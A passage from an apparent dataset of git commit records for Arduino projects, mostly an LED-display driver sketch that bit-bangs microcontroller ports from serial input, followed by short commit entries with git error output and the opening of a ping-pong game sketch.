x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xbf\\xff\\xff\\xff\\xff\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xdf\\x20\\x20\\x20\\x20\\xff\\xff\\xff\\xff\\x20\\x20\\x20\\x20\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\"\n\"\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xef\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\xff\\xff\\xff\\xff\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x40\\x40\\x40\\x40\\x40\\x40\\x00\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x50\\x50\\x50\\x50\\x50\\x50\\x00\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x30\\x30\\x30\\x30\\x30\\x30\\x00\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n;\n\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nbyte portl[48*20];\n\nuint32_t lights_array[48][24];\nbyte loopCount = 0;\n\nvoid setup() {\n Serial.begin(1000000);\n \/\/Serial.println(\"hello world\");\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(2820);\n\n DDRA = 0xFF; \/\/ open pins for writing\n DDRB = 0xFF; \/\/ open pins for writing\n DDRC = 0xFF; \/\/ open pins for writing\n DDRF = 0xFF; \/\/ open pins for writing\n DDRK = 0xFF; \/\/ open pins for writing\n DDRL = 0xFF; \/\/ open pins for writing\n\n \/\/initialize screen to give bulbs specific addresses\n \/\/for (int j=0; j<24; j++) {\n byte j=0;\n for (int i=24; i>-1; i--) {\n sendsome_left(i, 0b00000001000011001000 + 4096*j);\n }\n for (int i=47; i>24; i--) {\n sendsome_right(i, 0b00000001000011001000 + 4096*j);\n }\n \/\/}\n \/\/ paint default picture\n paint_default_array();\n}\n\nvoid loop() {\n\n while (1) {\n while (Serial.available()<1) {}\n\n \/\/ get the new byte:\n char inChar = Serial.read(); \n if (inputString.length() < 2819) {\n \/\/ add it to the inputString:\n inputString += inChar;\n } else {\n \/\/ we have enough bytes to send them to a string\n \/\/Serial.print(loopCount);\n \/\/Serial.print(\"-\");\n for (int j=0; j<2820; j++) {\n default_display[j] = inputString[j];\n\t }\n inputString = \"\";\n paint_default_array();\n }\n }\n\n \/*\n while (1) {\n while (Serial.available()<1) {}\n\n \/\/ get the new byte:\n char inChar = Serial.read(); \n if (inputString.length() < 59) {\n \/\/ add it to the inputString:\n inputString += inChar;\n } else {\n \/\/ we have enough bytes to send them to a string\n \/\/Serial.print(loopCount);\n \/\/Serial.print(\"-\");\n byte inputStringByteA[20];\n byte inputStringByteB[20];\n byte inputStringByteC[20];\n byte inputStringByteF[20];\n byte inputStringByteL[20];\n byte inputStringByteK[20];\n\n for (int j=0; j<20; j++) {\n if (loopCount<24) {\n inputStringByteB[j] = inputString[j+0];\n inputStringByteK[j] = inputString[j+20];\n inputStringByteL[j] = inputString[j+40];\n } else {\n inputStringByteA[j] = inputString[j+0];\n inputStringByteC[j] = inputString[j+20];\n inputStringByteF[j] = inputString[j+40];\n }\n }\n \/\/Serial.print(\"prelen:\");\n \/\/Serial.println(inputString.length());\n \/\/Serial.println(sizeof(inputStringByteL));\n if (loopCount < 24) { \/\/ left bank\n processBulb(loopCount, inputStringByteB, inputStringByteK, inputStringByteL);\n } else { \/\/ right bank\n processBulb(loopCount, inputStringByteA, inputStringByteC, inputStringByteF);\n }\n\n inputString = \"\";\n \/\/ we're done with our page, so reset\n loopCount++;\n if (loopCount>46) loopCount = 0;\n }\n }\n *\/\n \/\/while(1){}\n}\n\nvoid paint_default_array() {\n \/\/ fade test picture in\n byte inputStringByteX[20];\n byte inputStringByteY[20];\n byte inputStringByteZ[20];\n for (loopCount=0; loopCount<47; loopCount++) {\n for (int j=0; j<20; j++) {\n inputStringByteX[j] = default_display[(loopCount * 60) + j+0];\n inputStringByteY[j] = default_display[(loopCount * 60) + j+20];\n inputStringByteZ[j] = default_display[(loopCount * 60) + j+40];\n }\n processBulb(loopCount, inputStringByteX, inputStringByteY, inputStringByteZ);\n }\n loopCount = 0;\n}\n\nvoid processBulb(byte loopCount, byte *inputString1, byte *inputString2, byte *inputString3) {\n\/*\n Serial.print (\"len:\");\n Serial.print (loopCount);\n Serial.print (\"-\");\n Serial.print (sizeof(inputStringD));\n Serial.print (\"-\");\n Serial.print (sizeof(inputStringG));\n Serial.print (\"-\");\n Serial.println (sizeof(inputStringL));\n \/\/Serial.println (inputStringL.length());\n for (int j=0; j<20; j++) {\n \/\/Serial.print (\"#\");\n \/\/Serial.print (j);\n Serial.print (\";\");\n Serial.print ((byte)inputStringL[j]);\n }\n Serial.println(\"!\");\n*\/\n\n \/\/ convert bulb number to six digit bits\n byte bank_1[26];\n byte bank_2[26];\n byte bank_3[26];\n\n for (int j=5; j>-1; j--) {\n byte nth_bit = 0;\n if ((loopCount+1) & (1 << j) ) nth_bit = 255;\n bank_1[5-j] = nth_bit;\n bank_2[5-j] = nth_bit;\n bank_3[5-j] = nth_bit;\n }\n \/\/ convert bulb data into 20 digit bits\n for (int j=0; j<20; j++) {\n \/\/byte nth_bit = (byte)inputStringL[j];\n bank_1[j+6] = (byte)inputString1[j];\n bank_2[j+6] = (byte)inputString2[j];\n bank_3[j+6] = (byte)inputString3[j];\n }\n if (loopCount < 24) {\n send_string_data_left(bank_1, bank_2, bank_3);\n \/\/send_string_data_left(bank_b, bank_k, bank_l);\n } else {\n send_string_data_right(bank_1, bank_2, bank_3);\n \/\/send_string_data_right(bank_a, bank_c, bank_f);\n }\n \/\/Serial.print (\"array():\");\n \/\/for (int j=0; j<26; j++) {\n \/\/ Serial.print (\",\");\n \/\/ Serial.print (bank_l[j]);\n \/\/}\n \/\/Serial.println();\n}\n\nvoid paint_array() {\n \/\/ read by string?\n uint32_t current_column[24];\n for (int i=47; i>-1; i--) { \/\/ will be 48\n \/\/lights_array[i][j];\n for (int j=0; j<24; j++) {\n current_column[j] = lights_array[i][j];\n \/\/Serial.println(lights_array[i][j]);\n }\n \/\/ fire them off?\n \/\/Serial.print(\"line:\");\n \/\/Serial.println(i);\n send_a_column(i, current_column);\n \/\/delay (1000);\n }\n \n \n}\n\nvoid send_a_column(int bulb, uint32_t *current_column) {\n \/\/byte bit_data[24][26];\n \/\/Serial.print (\"bulb:\");\n \/\/Serial.println (bulb);\n bulb++;\n \/\/for (int j=0; j<8; j++) { \/\/ 24 for each of the lights\n \/\/ Serial.print (\"col:\");\n \/\/ Serial.println (current_column[j]);\n \/\/}\n \/\/delay(100);\n \/\/int string_byte_lines[26];\n int light_bank = 0;\n if (bulb>24) {\n light_bank = 1;\n \/\/bulb = bulb - 23;\/\/why 17?\n \/\/Serial.println (\"one bigger\");\n }\n \n int bank_a[26];\n int bank_b[26];\n int bank_c[26];\n int bank_d[26];\n int bank_e[26];\n int bank_g[26];\n int bank_h[26];\n int bank_j[26];\n int bank_k[26];\n int bank_l[26];\n\n \/\/noInterrupts();\n for (int i=0; i<26; i++) { \/\/ for each of the bits\n byte bit_line[24] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n \/\/Serial.print(\"bulb:\");\n \/\/Serial.println(bulb);\n \/\/Serial.print(\"i:\");\n \/\/Serial.println(i);\n for (int j=0; j<24; j++) { \/\/ 24 for each of the lights\n uint32_t this_lil_light = current_column[j];\n \/\/if (light_bank==1) this_lil_light = current_column[j+24];\n \/\/Serial.print(\"this_lil_light=\");\n \/\/Serial.println(this_lil_light);\n \/\/Serial.print('=');\n\n \/\/ get the nth bit on all lights\n byte nth_bit = 0;\n if (i<6) { \/\/ the bulb part of the data\n byte this_i = 5-i; \/\/ reverse the order of the bulb's binary ID\n \/\/if ( bulb & (1 << i) ) bit_line[5-i] = 1;\n if ( bulb & (1 << this_i) ) nth_bit = 1;\n bit_line[j] = nth_bit;\n } else { \/\/ the content part of the data\n \/\/if ( this_lil_light & ((uint32_t)1 << i) ) bit_line[25-i] = 1; \/\/cast 1 as uint32_t\n if ( this_lil_light & ((uint32_t)1 << (25-i)) ) nth_bit = 1; \/\/cast 1 as uint32_t, reverse order\n bit_line[j] = nth_bit;\n }\n }\n \/\/boolean bittest = 1;\n \/\/for (int k=0; k<24; k++) {\n \/\/ Serial.print(bit_line[k]);\n \/\/}\n \/\/Serial.println('!');\n int mybyte_a = 0b00000000;\n int mybyte_b = 0b00000000;\n int mybyte_c = 0b00000000;\n int mybyte_d = 0b00000000;\n int mybyte_e = 0b00000000;\n int mybyte_g = 0b00000000;\n int mybyte_h = 0b00000000;\n int mybyte_j = 0b00000000;\n int mybyte_k = 0b00000000;\n int mybyte_l = 0b00000000;\n\n if (light_bank==0) {\n \/\/ translate lights to ports (ie. mybyte_g's 5th position, 0b00000100)\n if (bit_line[0]==1) mybyte_g = mybyte_g | 0b00000100;\n if (bit_line[1]==1) mybyte_d = mybyte_d | 0b10000000;\n if (bit_line[2]==1) mybyte_g = mybyte_g | 0b00000001;\n if (bit_line[3]==1) mybyte_g = mybyte_g | 0b00000010;\n if (bit_line[4]==1) mybyte_l = mybyte_l | 0b01000000;\n if (bit_line[5]==1) mybyte_l = mybyte_l | 0b10000000;\n if (bit_line[6]==1) mybyte_l = mybyte_l | 0b00010000;\n if (bit_line[7]==1) mybyte_l = mybyte_l | 0b00100000;\n if (bit_line[8]==1) mybyte_l = mybyte_l | 0b00000001;\n if (bit_line[9]==1) mybyte_l = mybyte_l | 0b00000010;\n if (bit_line[10]==1) mybyte_l = mybyte_l | 0b00000100;\n if (bit_line[11]==1) mybyte_l = mybyte_l | 0b00001000;\n if (bit_line[12]==1) mybyte_b = mybyte_b | 0b10000000;\n if (bit_line[13]==1) mybyte_b = mybyte_b | 0b01000000;\n if (bit_line[14]==1) mybyte_b = mybyte_b | 0b00100000;\n if (bit_line[15]==1) mybyte_b = mybyte_b | 0b00010000;\n if (bit_line[16]==1) mybyte_e = mybyte_e | 0b00001000;\n if (bit_line[17]==1) mybyte_g = mybyte_g | 0b00100000;\n if (bit_line[18]==1) mybyte_e = mybyte_e | 0b00100000;\n if (bit_line[19]==1) mybyte_e = mybyte_e | 0b00010000;\n if (bit_line[20]==1) mybyte_k = mybyte_k | 0b01000000;\n if (bit_line[21]==1) mybyte_k = mybyte_k | 0b00100000;\n if (bit_line[22]==1) mybyte_k = mybyte_k | 0b00010000;\n if (bit_line[23]==1) mybyte_k = mybyte_k | 0b00001000;\n } else {\n if (bit_line[0]==1) mybyte_a = mybyte_a | 0b00001000;\n if (bit_line[1]==1) mybyte_a = mybyte_a | 0b00000100;\n if (bit_line[2]==1) mybyte_a = mybyte_a | 0b00000010;\n if (bit_line[3]==1) mybyte_a = mybyte_a | 0b00000001;\n if (bit_line[4]==1) mybyte_k = mybyte_k | 0b00000101;\n if (bit_line[5]==1) mybyte_k = mybyte_k | 0b10000010;\n if (bit_line[6]==1) mybyte_b = mybyte_b | 0b00000001;\n if (bit_line[7]==1) mybyte_b = mybyte_b | 0b00000010;\n if (bit_line[8]==1) mybyte_d = mybyte_d | 0b00000001;\n if (bit_line[9]==1) mybyte_d = mybyte_d | 0b00000010;\n if (bit_line[10]==1) mybyte_d = mybyte_d | 0b00000100;\n if (bit_line[11]==1) mybyte_d = mybyte_d | 0b00001000;\n if (bit_line[12]==1) mybyte_c = mybyte_c | 0b00000001;\n if (bit_line[13]==1) mybyte_c = mybyte_c | 0b00000010;\n if (bit_line[14]==1) mybyte_c = mybyte_c | 0b00000100;\n if (bit_line[15]==1) mybyte_c = mybyte_c | 0b00001000;\n if (bit_line[16]==1) mybyte_c = mybyte_c | 0b01000000;\n if (bit_line[17]==1) mybyte_c = mybyte_c | 0b00100000;\n if (bit_line[18]==1) mybyte_c = mybyte_c | 0b00010000;\n if (bit_line[19]==1) mybyte_c = mybyte_c | 0b10000000;\n if (bit_line[20]==1) mybyte_a = mybyte_a | 0b10000000;\n if (bit_line[21]==1) mybyte_a = mybyte_a | 0b01000000;\n if (bit_line[22]==1) mybyte_a = mybyte_a | 0b00100000;\n if (bit_line[23]==1) mybyte_a = mybyte_a | 0b00010000;\n }\n\n mybyte_a = mybyte_a ^ 0b11111111;\n mybyte_b = mybyte_b ^ 0b11111111;\n mybyte_c = mybyte_c ^ 0b11111111;\n mybyte_d = mybyte_d ^ 0b11111111;\n mybyte_e = mybyte_e ^ 0b11111111;\n mybyte_k = mybyte_k ^ 0b11111111;\n mybyte_g = mybyte_g ^ 0b11111111;\n mybyte_h = mybyte_h ^ 0b11111111;\n mybyte_j = mybyte_j ^ 0b11111111;\n mybyte_l = mybyte_l ^ 0b11111111;\n\n bank_a[i] = mybyte_a;\n bank_b[i] = mybyte_b;\n bank_c[i] = mybyte_c;\n bank_d[i] = mybyte_d;\n bank_e[i] = mybyte_e;\n bank_k[i] = mybyte_k;\n bank_g[i] = mybyte_g;\n bank_h[i] = mybyte_h;\n bank_j[i] = mybyte_j;\n bank_l[i] = mybyte_l;\n \/\/Serial.println (mybyte, BIN);\n \/\/for (int k=0; k<8; k++) {\n \/\/ Serial.print(bit_line[k]);\n \/\/}\n \/\/Serial.println('.');\n \/\/ now we have the 8 loaded up, let's send 'em\n \/\/if (bit_data[i]) {\n \/\/ Serial.print ('1');\n \/\/} else {\n \/\/ Serial.print ('0');\n \/\/}\n }\n send_string_data(bank_a,bank_b,bank_c,bank_d,bank_e,bank_g,bank_h,bank_j,bank_k,bank_l);\n}\n\nvoid send_string_data_left(byte *bank_b, byte *bank_k, byte *bank_l) {\n \/*for (int i=0; i<26; i++) { \/\/ for each of the bits\n Serial.print (\">\");\n Serial.print (bank_l[i]);\n }\n Serial.println(\"!\");*\/\n noInterrupts();\n for (int i=0; i<26; i++) { \/\/ for each of the bits\n byte mybyte_b = bank_b[i] ^ 0b11111111;\n byte mybyte_k = bank_k[i] ^ 0b11111111;\n byte mybyte_l = bank_l[i] ^ 0b11111111;\n \/\/ all on start packet\n PORTB = 0b11111111; PORTK = 0b11111111; PORTL = 0b11111111;\n delayMicroseconds(DELAYSHORT);\n\n \/\/ all off\n PORTB = 0b00000000; PORTK = 0b00000000; PORTL = 0b00000000;\n delayMicroseconds(DELAYSHORT);\n\n \/\/ on or off bit\n PORTB = mybyte_b; \n PORTK = mybyte_k; \n PORTL = mybyte_l;\n delayMicroseconds(DELAYMEDIUM);\n\n \/\/ all on\n PORTB = 0b11111111; PORTK = 0b11111111; PORTL = 0b11111111;\n delayMicroseconds(DELAYSHORT);\n }\n\n \/\/ all off for long end packet\n PORTB = 0b00000000; PORTK = 0b00000000; PORTL = 0b00000000;\n delayMicroseconds(DELAYEND);\n interrupts();\n}\n\nvoid send_string_data_right(byte *bank_a, byte *bank_c, byte *bank_f) {\n \/*for (int i=0; i<26; i++) { \/\/ for each of the bits\n Serial.print (\">\");\n Serial.print (bank_l[i]);\n }\n Serial.println(\"!\");*\/\n noInterrupts();\n for (int i=0; i<26; i++) { \/\/ for each of the bits\n byte mybyte_a = bank_a[i] ^ 0b11111111;\n byte mybyte_c = bank_c[i] ^ 0b11111111;\n byte mybyte_f = bank_f[i] ^ 0b11111111;\n \/\/ all on start packet\n PORTA = 0b11111111; PORTC = 0b11111111; PORTF = 0b11111111; \n delayMicroseconds(DELAYSHORT);\n\n \/\/ all off\n PORTA = 0b00000000; PORTC = 0b00000000; PORTF = 0b00000000; \n delayMicroseconds(DELAYSHORT);\n\n \/\/ on or off bit\n PORTA = mybyte_a; PORTC = mybyte_c; PORTF = mybyte_f; \n delayMicroseconds(DELAYMEDIUM);\n\n \/\/ all on\n PORTA = 0b11111111; PORTC = 0b11111111; PORTF = 0b11111111; \n delayMicroseconds(DELAYSHORT);\n }\n\n \/\/ all off for long end packet\n PORTA = 0b00000000; PORTC = 0b00000000; PORTF = 0b00000000; \n delayMicroseconds(DELAYEND);\n interrupts();\n}\n\nvoid send_string_data(int *bank_a, int *bank_b, int *bank_c, int *bank_d, int *bank_e, int *bank_f, int *bank_g, int *bank_h, int *bank_j, int *bank_l) {\n \/*for (int i=0; i<26; i++) { \/\/ for each of the bits\n Serial.print ('=');\n Serial.println (bank_g[i]);\n }*\/\n noInterrupts();\n for (int i=0; i<26; i++) { \/\/ for each of the bits\n \/\/ all on start packet\n PORTA = 0b11111111; PORTB = 0b11111111; PORTC = 0b11111111; PORTD = 0b11111111; PORTE = 0b11111111; PORTK = 0b11111111; PORTG = 0b11111111; PORTH = 0b11111111; PORTJ = 0b11111111; PORTL = 0b11111111;\n delayMicroseconds(DELAYSHORT);\n\n \/\/ all off\n PORTA = 0b00000000; PORTB = 0b00000000; PORTC = 0b00000000; PORTD = 0b00000000; PORTE = 0b00000000; PORTK = 0b00000000; PORTG = 0b00000000; PORTH = 0b00000000; PORTJ = 0b00000000; PORTL = 0b00000000;\n delayMicroseconds(DELAYSHORT);\n\n \/\/ on or off bit\n PORTA = bank_a[i];\n PORTB = bank_b[i];\n PORTC = bank_c[i];\n PORTD = bank_d[i];\n PORTE = bank_e[i];\n PORTK = bank_c[i];\n PORTG = bank_g[i];\n PORTH = bank_h[i];\n PORTJ = bank_j[i];\n PORTL = bank_l[i];\n delayMicroseconds(DELAYMEDIUM);\n\n \/\/ all on\n PORTA = 0b11111111; PORTB = 0b11111111; PORTC = 0b11111111; PORTD = 0b11111111; PORTE = 0b11111111; PORTK = 0b11111111; PORTG = 0b11111111; PORTH = 0b11111111; PORTJ = 0b11111111; PORTL = 0b11111111;\n delayMicroseconds(DELAYSHORT);\n }\n\n \/\/ all off for long end packet\n PORTA = 0b00000000; PORTB = 0b00000000; PORTC = 0b00000000; PORTD = 0b00000000; PORTE = 0b00000000; PORTK = 0b00000000; PORTG = 0b00000000; PORTH = 0b00000000; PORTJ = 0b00000000; PORTL = 0b00000000;\n delayMicroseconds(DELAYEND);\n interrupts();\n}\n\nvoid sendsome_right(int bulb, uint32_t this_bulb) {\n byte bit_data[26] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n \/\/Serial.println (bulb, BIN);\n for (int i=0; i<6; i++) { \/\/ make specific bulb id bits into array\n if ( bulb & (1 << i) ) bit_data[5-i] = 1;\n }\n for (uint32_t i=0; i<20; i++) { \/\/ make specific brightness, color bits into array\n if ( this_bulb & ((uint32_t)1 << i) ) bit_data[25-i] = 1; \/\/cast 1 as uint32_t\n }\n noInterrupts();\n for (byte i=0; i<26; i++) {\n \/\/ all on start packet\n PORTA = 0b11111111; PORTC = 0b11111111; PORTF = 0b11111111; \n delayMicroseconds(DELAYSHORT);\n \/\/ all off\n PORTA = 0b00000000; PORTC = 0b00000000; PORTF = 0b00000000; \n delayMicroseconds(DELAYSHORT);\n \/\/ on or off bit\n if (bit_data[i]==1) {\n PORTA = 0b00000000; PORTC = 0b00000000; PORTF = 0b00000000; \n } else {\n PORTA = 0b11111111; PORTC = 0b11111111; PORTF = 0b11111111; \n }\n delayMicroseconds(DELAYMEDIUM);\n }\n \/\/ all off for long end packet\n PORTA = 0b00000000; PORTC = 0b00000000; PORTF = 0b00000000; \n delayMicroseconds(DELAYEND);\n interrupts();\n}\nvoid sendsome_left(int bulb, uint32_t this_bulb) {\n byte bit_data[26] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n for (int i=0; i<6; i++) { \/\/ make specific bulb id bits into array\n if ( bulb & (1 << i) ) bit_data[5-i] = 1;\n }\n for (uint32_t i=0; i<20; i++) { \/\/ make specific brightness, color bits into array\n if ( this_bulb & ((uint32_t)1 << i) ) bit_data[25-i] = 1; \/\/cast 1 as uint32_t\n }\n noInterrupts();\n for (byte i=0; i<26; i++) {\n \/\/ all on start packet\n PORTB = 0b11111111; PORTK = 0b11111111; PORTL = 0b11111111;\n delayMicroseconds(DELAYSHORT);\n \n \/\/ all off\n PORTB = 0b00000000; PORTK = 0b00000000; PORTL = 0b00000000;\n delayMicroseconds(DELAYSHORT);\n \/\/ on or off bit\n if (bit_data[i]==1) {\n PORTB = 0b00000000; PORTK = 0b00000000; PORTL = 0b00000000;\n } else {\n PORTB = 0b11111111; PORTK = 0b11111111; PORTL = 0b11111111;\n }\n delayMicroseconds(DELAYMEDIUM);\n }\n \/\/ all off for long end packet\n PORTB = 0b00000000; PORTK = 0b00000000; PORTL = 0b00000000;\n delayMicroseconds(DELAYEND);\n interrupts();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/bigboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f267408275037382cedae5d7a06dabba17219ceb","subject":"Altitude Calibration at Altitude","message":"Altitude Calibration at Altitude\n\nChanged the altitude calibration scheme to be able to work high at high\naltitudes on ascent to better cope with a reset during flight.\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fa2dcd5dc78013e409768be4bb46c8332e0ace5d","subject":"Heart and Brain SpikerBox code for Leonardo added","message":"Heart and Brain SpikerBox code for Leonardo added\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Heart-And-Brain\/Arduino Code\/HeartAndBrainLeonardo\/HEBSpikerboxLeonardo.ino","new_file":"Heart-And-Brain\/Arduino Code\/HeartAndBrainLeonardo\/HEBSpikerboxLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Heart-And-Brain\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/HeartAndBrainLeonardo\/HEBSpikerboxLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dbc48f26f3db06c42e4612509125c9372394d268","subject":"Added arduino file","message":"Added arduino file\n","repos":"ericaglimsholt\/ping-pong-game,ericaglimsholt\/ping-pong-game","old_file":"ping-pong.ino","new_file":"ping-pong.ino","new_contents":"\nint PlayerOneLeft = 7; \/\/ Green player\nint PlayerOneRight = 6; \/\/ Green player\nint PlayerTwoLeft = 8; \/\/ Yellow player\nint PlayerTwoRight = 9; \/\/ yellow player\nint OneLeftBtnVal = 0;\nint OneRightBtnVal = 0;\nint TwoLeftBtnVal = 0;\nint TwoRightBtnVal = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(PlayerOneLeft, OUTPUT);\n pinMode(PlayerOneRight, OUTPUT);\n pinMode(PlayerTwoLeft, OUTPUT);\n pinMode(PlayerTwoRight, OUTPUT);\n}\n\nvoid loop() {\n OneLeftBtnVal = 